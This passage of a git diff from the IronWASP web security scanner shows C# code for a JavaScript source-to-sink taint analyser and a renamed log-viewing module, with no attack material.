(TemplateArguments.Count == 1 && TemplateArguments[0].SubItems.Count == 0 && SourcePositions.Count > 0) + AddSourceToSinkLine(LineNo); + else if (MethodArguments.Count == TemplateArguments.Count) + { + foreach (int i in SourcePositions) + { + if (TemplateArguments.Count > i) + if (TemplateArguments[i].SubItems.Count > 0) + if (TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) + AddSourceToSinkLine(LineNo); + } + } + } + } + } + else + { + IronException.Report("MethodName missing in IronJint", "LastItem State -" + LastItem.State.ToString()); + } + + if (Stmt.Generics != null) Analyze(Stmt.Generics); + } + + void Analyze(NewExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Arguments != null) Analyze(Stmt.Arguments); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + if (Stmt.Generics != null) Analyze(Stmt.Generics); + } + + void Analyze(Jint.Expressions.Program Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Statements != null) Analyze(Stmt.Statements); + } + + void Analyze(PropertyDeclarationExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + if (Stmt.GetExpression != null) Analyze(Stmt.GetExpression); + if (Stmt.SetExpression != null) Analyze(Stmt.SetExpression); + //if (Stmt.Name != null) Analyzer.CheckIdentifier(Stmt.Name); + } + + void Analyze(PropertyExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Text != null) + { + AddToJintStack(Stmt.Source, JintState.Property, Stmt.Text); + } + } + + void Analyze(RegexpExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + //if (Stmt.Options != null) Analyzer.CheckIdentifier(Stmt.Options); + //if (Stmt.Regexp != null) Analyzer.CheckIdentifier(Stmt.Regexp); + } + + void Analyze(ReturnStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) + { + int StatusIndex = JintStack.Count; + Analyze(Stmt.Expression); + if (JintStack.Count > StatusIndex) + { + List ReturnItems = RemoveJintStackFrom(StatusIndex); + if (ReturnItems.Count > 0) + { + ItemChecker IC = new ItemChecker(this); + TaintResult ReturnResult = IC.Check(ReturnItems); + if (ReturnResult.SourceTaint) + AddSourceLine(ReturnItems[0].LineNo, ReturnResult.SourceReasons); + if (ReturnResult.SinkTaint) + AddSinkLine(ReturnItems[0].LineNo, ReturnResult.SinkReasons); + } + } + } + } + + void Analyze(SwitchStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.CaseClauses != null) + { + for (int i = 0; i < Stmt.CaseClauses.Count; i++) + { + if (Stmt.CaseClauses[i] != null) Analyze(Stmt.CaseClauses[i]); + } + } + if (Stmt.DefaultStatements != null) Analyze(Stmt.DefaultStatements); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + } + + void Analyze(TernaryExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.LeftExpression != null) Analyze(Stmt.LeftExpression); + if (Stmt.MiddleExpression != null) Analyze(Stmt.MiddleExpression); + if (Stmt.RightExpression != null) Analyze(Stmt.RightExpression); + } + + void Analyze(ThrowStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) Analyze(Stmt.Expression); + } + + void Analyze(TryStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Catch != null) Analyze(Stmt.Catch); + if (Stmt.Finally != null) Analyze(Stmt.Finally); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(UnaryExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + + if (Stmt.Type == UnaryExpressionType.Not && Stmt.Expression == null) + { + if (JintStack.Count > 0) + { + if (JintStack[JintStack.Count - 1].State == JintState.MethodCallArgument) + { + JintStack.Add(new JintItem(Stmt.Source, JintState.MethodCallArgumentTaintPointer, this)); + } + } + } + + if (Stmt.Expression != null) + { + Analyze(Stmt.Expression); + } + } + + void Analyze(ValueExpression Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (JintStack.Count == 0) + { + if (Stmt.TypeCode == TypeCode.String) + AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); + else + AddToJintStack(Stmt.Source, JintState.NonStringValue, Stmt.Value.ToString()); + return; + } + JintItem LastItem = JintStack[JintStack.Count - 1]; + switch (LastItem.State) + { + case (JintState.Indexer): + if(Stmt.TypeCode == TypeCode.String) + AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); + else + AddToJintStack(Stmt.Source, JintState.IntValue, Stmt.Value.ToString()); + break; + default: + AddToJintStack(Stmt.Source, JintState.StringValue, Stmt.Value.ToString()); + break; + } + if (TraceKeyword) + { + List Contexts = GetContextInLine(RawLines[CurrentLineNo - 1], Stmt.Value.ToString()); + if (Contexts.Count == 0 && Stmt.Value.ToString().IndexOf(KeywordToTrace) >= 0) + { + if(Stmt.TypeCode == TypeCode.String) + KeywordContexts.Add("StringValue"); + else + KeywordContexts.Add("NonStringValue"); + } + KeywordContexts.AddRange(Contexts); + } + //Analyzer.CheckIdentifier(Stmt.Value.ToString()); + } + + void Analyze(VariableDeclarationStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + ItemChecker TC = new ItemChecker(this); + if (Stmt.Identifier != null) + { + List LeftItems = new List() { new JintItem(Stmt.Source, JintState.Identifier, Stmt.Identifier, this)}; + int StatusIndex = AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Identifier); + + if (Stmt.Expression != null) + { + int RightExpIndex = AddToJintStack(Stmt.Source, JintState.AssignmentExpressionRight); + Analyze(Stmt.Expression); + + List RightItems = RemoveJintStackFrom(RightExpIndex + 1); + + if (Stmt.Expression.GetType().Name.Equals("AssignmentExpression")) + { + Analyze(((AssignmentExpression)Stmt.Expression).Left); + RightItems = RemoveJintStackFrom(RightExpIndex + 1); + } + + List> RightItemParts = ItemChecker.GetItemParts(RightItems); + UpdateMappings(LeftItems, RightItemParts); + + foreach (List RightItemPart in RightItemParts) + { + TaintResult RightResult = TC.Check(RightItemPart); + if (RightResult.SourceTaint) + { + foreach (JintItem Item in LeftItems) + { + Item.SourceReasons.AddRange(RightResult.SourceReasons); + } + AddToSourceObjects(LeftItems); + if (RightItems.Count > 0) + AddSourceLine(RightItemPart[0].LineNo, RightResult.SourceReasons); + else + AddSourceLine(CurrentLineNo, RightResult.SourceReasons); + } + if (RightResult.SinkTaint) + { + foreach (JintItem Item in LeftItems) + { + Item.SinkReasons.AddRange(RightResult.SinkReasons); + } + AddToSinkObjects(LeftItems); + if (RightItems.Count > 0) + AddSinkLine(RightItemPart[0].LineNo, RightResult.SinkReasons); + else + AddSinkLine(CurrentLineNo, RightResult.SinkReasons); + } + } + RemoveJintStackFrom(StatusIndex); + } + } + } + + void Analyze(WhileStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Condition != null) Analyze(Stmt.Condition); + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + void Analyze(WithStatement Stmt) + { + if (IsTimedOut()) return; + SetCurrentLineAndCharNos(Stmt); + if (Stmt.Expression != null) + { + if (Stmt.Expression.GetType().Name.Equals("ValueExpression")) + { + ValueExpression ValStmt = (ValueExpression)Stmt.Expression; + if (ValStmt.Value != null) AddToJintStack(Stmt.Source, JintState.WithStringValue, ValStmt.Value.ToString()); + } + else + { + AddToJintStack(Stmt.Source, JintState.WithExpression); + } + Analyze(Stmt.Expression); + } + if (Stmt.Statement != null) Analyze(Stmt.Statement); + } + + //internal static void ShowDefaultTaintConfig() + //{ + // List> AllLists = new List>() { new List(DefaultSourceObjects), new List(DefaultSinkObjects), new List(DefaultSourceReturningMethods), new List(DefaultSinkReturningMethods), new List(DefaultArgumentReturningMethods), new List(DefaultArgumentAssignedASourceMethods), new List(DefaultArgumentAssignedToSinkMethods)}; + // int MaxCount = 0; + // foreach (List List in AllLists) + // { + // if (List.Count > MaxCount) MaxCount = List.Count; + // } + // foreach (List List in AllLists) + // { + // while (List.Count < MaxCount) + // { + // List.Add(""); + // } + // } + // //IronUI.SetTaintConfig(AllLists, MaxCount); + //} + + internal void SetSourcesAndSinks(List SourceObjs, List SinkObjs, List SourceRetMets, List SinkRetMets, List ArgRetMets, List ArgAssASourceMets, List ArgAssToSinkMets) + { + SetSourceObjects(SourceObjs); + SetSinkObjects(SinkObjs); + SetSourceReturningMethods(SourceRetMets); + SetSinkReturningMethods(SinkRetMets); + SetArgumentReturningMethods(ArgRetMets); + SetArgumentAssignedToSinkMethods(ArgAssToSinkMets); + SetArgumentAssignedASourceMethods(ArgAssASourceMets); + this.RawLines.Clear(); + } + + internal void SetSourceObjects(List Taints) + { + SourceObjects.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + foreach (JintItem Item in JintStack) + { + Item.SourceReasons.Add("Preconfigured SourceObject"); + } + SourceObjects.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetSinkObjects(List Taints) + { + SinkObjects.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + foreach (JintItem Item in JintStack) + { + Item.SinkReasons.Add("Preconfigured SinkObject"); + } + SinkObjects.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetSourceReturningMethods(List Taints) + { + SourceReturningMethods.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + foreach (JintItem Item in JintStack) + { + Item.SourceReasons.Add("Preconfigured SourceReturningMethod"); + } + SourceReturningMethods.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetSinkReturningMethods(List Taints) + { + SinkReturningMethods.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + foreach (JintItem Item in JintStack) + { + Item.SourceReasons.Add("Preconfigured SinkReturningMethod"); + } + SinkReturningMethods.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetArgumentReturningMethods(List Taints) + { + + ArgumentReturningMethods.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + ArgumentReturningMethods.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetArgumentAssignedToSinkMethods(List Taints) + { + + ArgumentAssignedToSinkMethods.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + ArgumentAssignedToSinkMethods.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetArgumentAssignedASourceMethods(List Taints) + { + + ArgumentAssignedASourceMethods.Clear(); + + foreach (string RawLine in Taints) + { + JintStack.Clear(); + Analyze(RawLine); + ArgumentAssignedASourceMethods.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetSources(string Sources) + { + List SourceLines = new List(Sources.Split(new string[]{"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + + JintStack.Clear(); + SourceItems.Clear(); + + foreach (string RawLine in SourceLines) + { + JintStack.Clear(); + Analyze(RawLine); + SourceItems.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + internal void SetSinks(string Sinks) + { + List SinkLines = new List(Sinks.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); + + JintStack.Clear(); + SinkItems.Clear(); + + foreach (string RawLine in SinkLines) + { + JintStack.Clear(); + Analyze(RawLine); + SinkItems.Add(new List(JintStack)); + JintStack.Clear(); + } + } + + List RemoveJintStackFrom(int Index) + { + List Items = new List(); + if (JintStack.Count > Index) + { + for (int i = Index; i < JintStack.Count; i++) + { + Items.Add(JintStack[i]); + } + JintStack.RemoveRange(Index, JintStack.Count - Index); + } + return Items; + } + + int AddToJintStack(Jint.Debugger.SourceCodeDescriptor Source, JintState State) + { + return AddToJintStack(Source, State, ""); + } + + int AddToJintStack(Jint.Debugger.SourceCodeDescriptor Source, JintState State, string Value) + { + JintStack.Add(new JintItem(Source, State, Value, this)); + return (JintStack.Count - 1); + } + + List GetMethodItems(int MethodCallIndex) + { + List MethodItems = new List(); + int LineNo = 0; + if (JintStack.Count <= MethodCallIndex) return MethodItems; + LineNo = JintStack[MethodCallIndex].LineNo; + if (LineNo == 0) LineNo = CurrentLineNo; + + bool TopReached = false; + int StartPointer = MethodCallIndex; + while (!TopReached) + { + TopReached = true; + StartPointer--; + if (StartPointer >= 0 && JintStack[StartPointer].LineNo == LineNo) + { + switch (JintStack[StartPointer].State) + { + case(JintState.AssignmentExpressionLeft): + case (JintState.AssignmentExpressionRight): + case (JintState.WithStringValue): + case (JintState.WithExpression): + TopReached = true; + StartPointer++; + break; + case(JintState.Identifier): + TopReached = true; + break; + default: + TopReached = false; + break; + } + } + else + { + StartPointer++; + } + } + bool BottomReached = false; + int EndPointer = MethodCallIndex; + while (!BottomReached) + { + BottomReached = true; + EndPointer++; + if (EndPointer < JintStack.Count) + { + if (JintStack[EndPointer].State == JintState.MethodCallArgument) + { + BottomReached = false; + } + else + { + BottomReached = true; + EndPointer--; + } + } + else + { + EndPointer--; + } + } + for (int i = StartPointer; i <= EndPointer; i++) + { + MethodItems.Add(JintStack[i]); + } + return MethodItems; + } + + void SetCurrentLineAndCharNos(Statement Stmt) + { + if (Stmt != null) + { + if (Stmt.Source != null) + { + CurrentLineNo = Stmt.Source.Start.Line; + CurrentCharNo = Stmt.Source.Start.Char; + } + } + } + + void AddToSourceObjects(List Item) + { + if (Item.Count > 0) + { + if (SourceLinesToIgnore.Contains(Item[0].LineNo)) return; + } + foreach(List Tainted in SourceObjects) + { + if (ItemChecker.IsSimilar(Item, Tainted)) return; + } + SourceObjects.Add(Item); + } + + void AddToSinkObjects(List Item) + { + if (Item.Count > 0) + { + if (SinkLinesToIgnore.Contains(Item[0].LineNo)) return; + } + foreach (List Tainted in SinkObjects) + { + if (ItemChecker.IsSimilar(Item, Tainted)) return; + } + SinkObjects.Add(Item); + } + + void RemoveFromSourceTaintedItems(List Item) + { + if (Item.Count > 0) + { + if (SourceLinesToInclude.Contains(Item[0].LineNo)) return; + } + int RemoveIndex = -1; + for (int i=0; i< SourceTaintedItems.Count; i++) + { + List Tainted = SourceTaintedItems[i]; + if (ItemChecker.IsSimilar(Item, Tainted)) RemoveIndex = i; + } + if (RemoveIndex >= 0) + SourceTaintedItems.RemoveAt(RemoveIndex); + } + + void RemoveFromSinkTaintedItems(List Item) + { + if (Item.Count > 0) + { + if (SinkLinesToInclude.Contains(Item[0].LineNo)) return; + } + int RemoveIndex = -1; + for (int i = 0; i < SinkTaintedItems.Count; i++) + { + List Tainted = SinkTaintedItems[i]; + if (ItemChecker.IsSimilar(Item, Tainted)) RemoveIndex = i; + } + if (RemoveIndex >= 0) + SinkTaintedItems.RemoveAt(RemoveIndex); + } + + void AddSourceLine(int LineNo, List SourceReaons) + { + if (LineNo == 0) LineNo = CurrentLineNo; + if (SourceLinesToIgnore.Contains(LineNo)) return; + if (!SourceLines.Contains(LineNo)) SourceLines.Add(LineNo); + + if (SourceReasons.ContainsKey(LineNo)) + SourceReasons[LineNo].AddRange(SourceReaons); + else + SourceReasons.Add(LineNo, SourceReaons); + + //if (StartedFromUI && PauseAtTaint) + //{ + // if (SourceToSinkLines.Contains(LineNo)) + // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); + // else if(SinkLines.Contains(LineNo)) + // IronUI.SetJSTaintTraceLine("SourcePlusSink", LineNo); + // else + // IronUI.SetJSTaintTraceLine("Source", LineNo); + // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); + // PauseAtTaintLine(LineNo); + // IronUI.ShowTaintReasons(LineNo, new List(), new List()); + //} + } + void AddSinkLine(int LineNo, ListSinkReaons) + { + if (LineNo == 0) LineNo = CurrentLineNo; + if (SinkLinesToIgnore.Contains(LineNo)) return; + if (!SinkLines.Contains(LineNo)) SinkLines.Add(LineNo); + + if (SinkReasons.ContainsKey(LineNo)) + SinkReasons[LineNo].AddRange(SinkReaons); + else + SinkReasons.Add(LineNo,SinkReaons); + + //if (StartedFromUI && PauseAtTaint) + //{ + // if (SourceToSinkLines.Contains(LineNo)) + // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); + // else if (SourceLines.Contains(LineNo)) + // IronUI.SetJSTaintTraceLine("SourcePlusSink", LineNo); + // else + // IronUI.SetJSTaintTraceLine("Sink", LineNo); + // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); + // PauseAtTaintLine(LineNo); + // IronUI.ShowTaintReasons(LineNo, new List(), new List()); + //} + } + void AddSourceToSinkLine(int LineNo) + { + if (LineNo == 0) LineNo = CurrentLineNo; + if (SourceLinesToIgnore.Contains(LineNo) || SinkLinesToIgnore.Contains(LineNo)) return; + if (!SourceToSinkLines.Contains(LineNo)) SourceToSinkLines.Add(LineNo); + //if (StartedFromUI && PauseAtTaint) + //{ + // IronUI.SetJSTaintTraceLine("SourceToSink", LineNo); + // IronUI.ShowTaintReasons(LineNo, IronJint.UIIJ.GetSourceReasons(LineNo), IronJint.UIIJ.GetSinkReasons(LineNo)); + // PauseAtTaintLine(LineNo); + // IronUI.ShowTaintReasons(LineNo, new List(), new List()); + //} + } + + //void PauseAtTaintLine(int LineNo) + //{ + // MSR.Reset(); + // IronUI.ShowTraceContinuteButton(); + // IronUI.ShowTraceStatus("Paused at Taint. Line No: " + LineNo.ToString(), false); + // MSR.WaitOne(); + // IronUI.RemoveTaintPauseMarker(LineNo); + // IronUI.ShowTraceStatus("Trace in progress...", false); + //} + + string GetPropertyValue(List Item) + { + return ""; + } + + void SetPropertyValue(List Item, string Value) + { + + } + + void ClearAllTaint() + { + SourceLines.Clear(); + SinkLines.Clear(); + SourceToSinkLines.Clear(); + SourceTaintedItems.Clear(); + SinkTaintedItems.Clear(); + } + + internal void StoreStringObject(List Object, string Value) + { + if (Value.Length == 0) return; + string ExistingValue = GetStringObject(Object); + if (ExistingValue.Equals(Value)) return; + + if (ExistingValue.Length > 0) + { + int RemovalIndex = -1; + for (int i = 0; i < InterestingStringHolders[ExistingValue].Count; i++) + { + ItemChecker IC = new ItemChecker(this); + if (IC.DoItemsMatch(InterestingStringHolders[ExistingValue][i], Object).NeutralReasons.Count > 0) RemovalIndex = i; + } + if (RemovalIndex >= 0) InterestingStringHolders[ExistingValue].RemoveAt(RemovalIndex); + } + + if (InterestingStringHolders.ContainsKey(Value)) + InterestingStringHolders[Value].Add(Object); + else + InterestingStringHolders.Add(Value, new List>() { Object }); + } + + internal string GetStringObject(List Object) + { + bool FirstCheck = true; + ItemChecker IC = new ItemChecker(this); + int AddedAt = 0; + + foreach (List StrItem in SentForStringConversion) + { + if (ItemChecker.IsSimilar(Object, StrItem)) + { + FirstCheck = false; + break; + } + } + + if (FirstCheck) + { + SentForStringConversion.Add(Object); + AddedAt = SentForStringConversion.Count - 1; + } + + foreach (string Key in InterestingStringHolders.Keys) + { + foreach (List Item in InterestingStringHolders[Key]) + { + if (FirstCheck) + { + if (IC.DoItemsMatch(Item, Object).NeutralReasons.Count > 0) + { + SentForStringConversion.RemoveAt(AddedAt); + return Key; + } + } + else + { + if (ItemChecker.IsSimilar(Item, Object)) return Key; + } + } + } + if (FirstCheck) SentForStringConversion.RemoveAt(AddedAt); + return ""; + } + + internal void RemoveStringObject(List Object) + { + foreach (string Key in InterestingStringHolders.Keys) + { + List RemoveIndexes = new List(); + int Index = -1; + foreach (List Item in InterestingStringHolders[Key]) + { + Index++; + ItemChecker IC = new ItemChecker(this); + if (IC.DoItemsMatch(Item, Object).NeutralReasons.Count > 0) RemoveIndexes.Add(Index); + } + for (int i = 0; i < RemoveIndexes.Count; i++ ) + { + InterestingStringHolders[Key].RemoveAt(RemoveIndexes[i] - i); + } + } + } + + internal void UpdateMappings(List LeftItem, List>RightItems) + { + if (RightItems.Count != 1) return; + List RightItem = RightItems[0]; + + string ExistingValue = GetStringObject(RightItem); + if (ExistingValue.Length > 0) + { + StoreStringObject(LeftItem, ExistingValue); + } + else + { + if (RightItem.Count == 1) + { + if (RightItem[0].State == JintState.StringValue) + { + StoreStringObject(LeftItem, RightItem[0].Value); + return; + } + else + { + RemoveStringObject(LeftItem); + } + } + else + { + RemoveStringObject(LeftItem); + } + } + + foreach (string StoredString in InterestingStringHolders.Keys) + { + List> ItemsToAdd = new List>(); + foreach (List ListItem in InterestingStringHolders[StoredString]) + { + List ResultItem = GetMappedItem(LeftItem, RightItem, ListItem); + if (ResultItem.Count > 0) ItemsToAdd.Add(ResultItem); + } + if (ItemsToAdd.Count > 0) InterestingStringHolders[StoredString].AddRange(ItemsToAdd); + } + + List>> AllLists = new List>>() { SourceObjects, SinkObjects, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods, ArgumentAssignedToSinkMethods, ArgumentAssignedASourceMethods}; + foreach (List> List in AllLists) + { + List> ItemsToAdd = new List>(); + foreach (List ListItem in List) + { + List ResultItem = GetMappedItem(LeftItem, RightItem, ListItem); + if (ResultItem.Count > 0) ItemsToAdd.Add(ResultItem); + } + if (ItemsToAdd.Count > 0) List.AddRange(ItemsToAdd); + } + } + + List GetMappedItem(List LeftItem, List RightItem, List List) + { + List EmptyResult = new List(); + if (RightItem.Count == 0 || LeftItem.Count == 0 || List.Count == 0) return EmptyResult; + + ItemChecker IC = new ItemChecker(this); + if (IC.DoItemsMatch(List, RightItem, false).NeutralReasons.Count == 0) return EmptyResult; + int RightMatchStopIndex = -1; + if (RightItem[0].State == JintState.Identifier && LeftItem[0].State == JintState.Identifier && (List[0].State == JintState.Identifier || List[0].State == JintState.MethodCallName)) + { + if (RightItem[0].Value.Equals(List[0].Value)) + RightMatchStopIndex++; + else + return EmptyResult; + for (int i = 1; i < RightItem.Count; i++) + { + if ((RightItem[i].State == JintState.Property || RightItem[i].State == JintState.StringIndex) && (List.Count > i) && + (List[i].State == JintState.Property || List[i].State == JintState.StringIndex || List[i].State == JintState.MethodCallName)) + { + if (RightItem[i].Value.Equals(List[i].Value)) + RightMatchStopIndex++; + else + break; + } + else + break; + } + } + else + { + return EmptyResult; + } + if (RightMatchStopIndex < RightItem.Count -1) return EmptyResult; + List ResultItem = new List(LeftItem); + for (int i = RightMatchStopIndex + 1; i < List.Count; i++) + { + if (List[i].State == JintState.MethodCallArgument) + { + if (i > 0 && ResultItem.Count > 0) + { + if (ResultItem[ResultItem.Count - 1].State == JintState.Identifier || ResultItem[ResultItem.Count - 1].State == JintState.Property) + ResultItem[ResultItem.Count - 1].State = JintState.MethodCallName; + } + } + ResultItem.Add(List[i]); + } + return ResultItem; + } + + internal bool IsInterestingString(string Value) + { + bool Result = false; + Result = IsInterestingString(Value, SourceObjects); + if (Result) return Result; + Result = IsInterestingString(Value, SinkObjects); + if (Result) return Result; + Result = IsInterestingString(Value, SourceReturningMethods); + if (Result) return Result; + Result = IsInterestingString(Value, SinkReturningMethods); + if (Result) return Result; + Result = IsInterestingString(Value, ArgumentReturningMethods); + if (Result) return Result; + Result = IsInterestingString(Value, ArgumentAssignedToSinkMethods); + if (Result) return Result; + Result = IsInterestingString(Value, ArgumentAssignedASourceMethods); + return Result; + } + + bool IsInterestingString(string Value, List> LookUpList) + { + foreach (List Items in LookUpList) + { + foreach (JintItem Item in Items) + { + switch(Item.State) + { + case(JintState.Identifier): + case (JintState.Property): + case (JintState.MethodCallName): + case (JintState.MethodName): + if (Item.Value.Equals(Value)) return true; + break; + } + } + } + return false; + } + + internal bool IsTimedOut() + { + if (AnalyzeCallStartTime == 0) + { + AnalyzeCallStartTime = DateTime.Now.Ticks; + } + else + { + if (TimeSpan.FromTicks(DateTime.Now.Ticks - AnalyzeCallStartTime).TotalMilliseconds > 2000) + { + throw new TimeoutException(); + } + else if (TimeSpan.FromTicks(DateTime.Now.Ticks - AnalyzeCallStartTime).TotalMilliseconds > 1000) + { + return true; + } + } + return false; + } + + internal List GetSourceReasons(int LineNo) + { + List Reasons = new List(); + lock(SourceReasons) + { + if (SourceReasons.ContainsKey(LineNo)) + Reasons.AddRange(SourceReasons[LineNo]); + } + return Reasons; + } + + internal List GetSinkReasons(int LineNo) + { + List Reasons = new List(); + lock (SinkReasons) + { + if (SinkReasons.ContainsKey(LineNo)) + Reasons.AddRange(SinkReasons[LineNo]); + } + return Reasons; + } + + static List GetContextInLine(string Code, string Keyword) + { + int MatchPosition = 0; + List Contexts = new List(); + if (Keyword.Length == 0) return Contexts; + char[] CodeArray = Code.ToCharArray(); + while (MatchPosition < Code.Length && (MatchPosition = Code.IndexOf(Keyword, MatchPosition + 1)) >= 0 ) + { + if (MatchPosition > 0) + { + if (CodeArray[MatchPosition - 1] == '\'') + Contexts.Add("SingleQuoteStringValue"); + else if (CodeArray[MatchPosition - 1] == '"') + Contexts.Add("DoubleQuoteStringValue"); + else if (MatchPosition < Code.Length - 1) + { + if (CodeArray[MatchPosition + 1] == '\'') + Contexts.Add("SingleQuoteStringValue"); + else if (CodeArray[MatchPosition + 1] == '"') + Contexts.Add("DoubleQuoteStringValue"); + } + } + } + return Contexts; + } + } +} diff --git a/IronWASP/IronLog.cs b/Iron/IronLog.cs similarity index 96% rename from IronWASP/IronLog.cs rename to Iron/IronLog.cs index 0fb773b..f93be77 100644 --- a/IronWASP/IronLog.cs +++ b/Iron/IronLog.cs @@ -1,931 +1,931 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace IronWASP -{ - internal class IronLog - { - internal static string CurrentSource = RequestSource.Scan; - internal static Session CurrentSession; - internal static int CurrentID = 0; - internal static int CurrentRowID = 0; - internal static bool IsSiteMap = false; - internal const int MaxRowCount = 2000; - static Thread CurrentThread; - - internal static string SourceControl = ""; - - internal static int ProxyMin = 0; - internal static int ProxyMax = 0; - internal static int ShellMin = 0; - internal static int ShellMax = 0; - internal static int ProbeMin = 0; - internal static int ProbeMax = 0; - internal static int ScanMin = 0; - internal static int ScanMax = 0; - internal static int TestMin = 0; - internal static int TestMax = 0; - - internal static int SitemapProxyMin = 0; - internal static int SitemapProxyMax = 0; - internal static int SitemapProbeMin = 0; - internal static int SitemapProbeMax = 0; - - internal static int OtherSourceMin = 0; - internal static int OtherSourceMax = 0; - internal static string SelectedOtherSource = ""; - - internal static string MainLogDefaultMsg = "Right-click on any log below to get a menu that will let you perform scans and other actions on the selected log."; - - internal static string CurrentSourceName - { - get - { - return SourceName(CurrentSource); - } - } - - internal static void ShowLog(string Source, string ID, int RowID, bool IsSiteMapSelected) - { - try - { - int IntID = Int32.Parse(ID); - CurrentRowID = RowID; - IsSiteMap = IsSiteMapSelected; - ShowLog(Source, IntID); - } - catch { return; } - } - - internal static void ShowLog(string Source, int ID) - { - CurrentSource = Source; - CurrentID = ID; - PrepareToShowLog(); - CurrentThread = new Thread(ShowLog); - CurrentThread.Start(); - } - - internal static void ShowNextLog() - { - PrepareToShowLog(); - CurrentID++; - CurrentThread = new Thread(ShowLog); - CurrentThread.Start(); - } - - internal static void ShowPreviousLog() - { - if (CurrentID > 1) - { - PrepareToShowLog(); - CurrentID--; - CurrentThread = new Thread(ShowLog); - CurrentThread.Start(); - } - else - { - IronUI.ShowLogStatus("", false); - } - } - - - - static void PrepareToShowLog() - { - - IronUI.ResetLogDisplayFields(); - IronUI.ShowLogStatus("Loading...", false); - try - { - CurrentThread.Abort(); - } - catch { } - } - - static void ShowLog() - { - try - { - Session IrSe = GetLog(CurrentSource, CurrentID); - CurrentSession = IrSe; - IronUI.FillLogDisplayFields(IrSe); - } - catch(Exception Exp) - { - if (Exp.Message.Equals("ID not found in DB")) - { - IronUI.ShowLogStatus(string.Format("Record ID - {0} not found in DB",CurrentID.ToString()), true); - } - else - { - IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); - IronException.Report("Error reading from " + SourceName(CurrentSource) + " log", Exp.Message, Exp.StackTrace); - } - } - } - - internal static void MarkForTesting(string Source, string ID, string Group) - { - try - { - int IntID = Int32.Parse(ID); - MarkForTesting(Source, IntID, Group); - } - catch { return; } - } - - internal static void MarkForTesting(string Source, int ID, string Group) - { - object[] Details = new object[] { Source, ID, Group }; - - Thread Worker = new Thread(MarkForTesting); - Worker.Start(Details); - } - - static void MarkForTesting(object Details) - { - try - { - object[] DetailsArray = (object[])Details; - string Source = DetailsArray[0].ToString(); - int ID = (int)DetailsArray[1]; - string Group = DetailsArray[2].ToString(); - - Session IrSe = GetLog(Source, ID); - if (IrSe == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - if (IrSe.Request == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - NameTestGroupWizard NTGW = new NameTestGroupWizard(); - NTGW.RequestToTest = IrSe.Request; - NTGW.ShowDialog(); - //ManualTesting.CreateNewGroupWithRequest(IrSe.Request, Group); - //int TestID = 